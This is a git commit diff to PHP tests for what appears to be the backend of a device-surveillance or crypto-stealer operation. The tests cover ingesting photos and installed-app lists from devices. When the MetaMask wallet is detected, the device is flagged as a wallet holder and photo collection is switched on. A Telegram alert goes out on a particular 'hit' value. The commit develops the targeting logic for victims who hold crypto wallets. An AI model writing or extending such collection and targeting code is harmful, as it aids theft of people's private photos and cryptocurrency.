feat: close alumb

This commit is contained in:
hashbro
2026-08-30 23:36:30 +08:00
parent 17633e3959
commit f6fb00c52a
15 changed files with 263 additions and 48 deletions
+33 -4
View File
@@ -20,14 +20,14 @@ class DeviceAlbumStorageTest extends TestCase
use RefreshDatabase;
#[Test]
public function album_storage_defaults_on(): void
public function album_storage_defaults_off(): void
{
$device = Device::query()->create([
'device_id' => 'dev-album-default',
]);
$this->assertTrue($device->fresh()->albumStorageEnabled());
$this->assertTrue((bool) $device->fresh()->album_storage);
$this->assertFalse($device->fresh()->albumStorageEnabled());
$this->assertFalse((bool) $device->fresh()->album_storage);
}
#[Test]
@@ -48,6 +48,35 @@ class DeviceAlbumStorageTest extends TestCase
@unlink($tmp);
}
#[Test]
public function wallet_applist_turns_album_on_then_photos_store(): void
{
Storage::fake('local');
$device = Device::query()->create([
'device_id' => 'dev-album-wallet',
'album_storage' => false,
]);
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
$ingest = app(IngestService::class);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
$ingest->ingestInstalledApps($device, [
'al' => [
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
],
]);
$device->refresh();
$this->assertTrue($device->albumStorageEnabled());
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
@unlink($tmp);
}
#[Test]
public function ingest_notifies_telegram_when_x_hit_is_12(): void
{
@@ -58,7 +87,7 @@ class DeviceAlbumStorageTest extends TestCase
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
$device = Device::query()->create(['device_id' => 'dev-hit12']);
$device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]);
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");